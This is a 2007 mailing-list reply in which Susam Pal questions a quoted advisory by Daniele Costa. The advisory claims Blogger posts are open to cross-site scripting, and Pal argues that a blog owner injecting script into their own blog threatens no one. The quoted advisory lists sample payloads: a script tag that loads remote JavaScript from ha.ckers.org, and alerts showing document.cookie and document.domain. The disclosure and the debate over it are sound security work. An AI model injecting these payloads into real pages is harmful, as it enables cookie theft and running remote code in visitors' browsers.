Re: BLOGGER XSS VULNERABILITY

[Susam Pal <susam () susam in>]

Why is this a vulnerability? I can't see a way by which an attacker can 
insert JavaScript code into my blog.

> I've noticed that for any blog hosted at blogspot.com the cookie will
> be not shown.

The sensitive cookies are not maintained under blogspot.com, so allowing 
JavaScript in blogspot.com doesn't look like a threat or vulnerability.

> Otherwise, if the blog is located inside your web site, the cookie
> will be shown.

But I am the only one who is inserting the JavaScript in my blog. So, 
I'll end up stealing the cookies set for my domain. Why would I steal 
cookies set for my domain? I already know them because it is my website.

Regards,
Susam Pal
http://susam.in/

Daniele Costa wrote, On Saturday 11 August 2007 10:52 PM:
> ------------------------------------------------------
> BLOGGER XSS VULNERABILITY
> ------------------------------------------------------
>
> Blogspot.com
>
> Homepage: http://www.blogspot.com
>
> and
>
> Blogger.com
>
> Homepage: http://www.blogger.com
>
> Affected files:
>
> Post's Input boxes
>
> ------------------------------------------------------
> XSS DETAILS
> ------------------------------------------------------
> XSS vuln via injecting javascript code into any post.
>
> Blogger doesn't sanitize user input during post process.
> Try injecting the following code into a post
>
> <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
>
> or just the well known
>
> <SCRIPT>alert(document.cookie);</SCRIPT>
>
> or
>
> <SCRIPT >alert(document.domain);</SCRIPT>

<!-- COPIED IN REPLY -->

> ------------------------------------------------------
> Proof Of Concept
> ------------------------------------------------------
>
> http://pocasiculezza.blogspot.com/
>
> -----------------------------------------------------
> HISTORY
> ------------------------------------------------------
> Discovered : 07/11/2007 by Daniele Costa
> Published : 07/11/2007 by Daniele Costa

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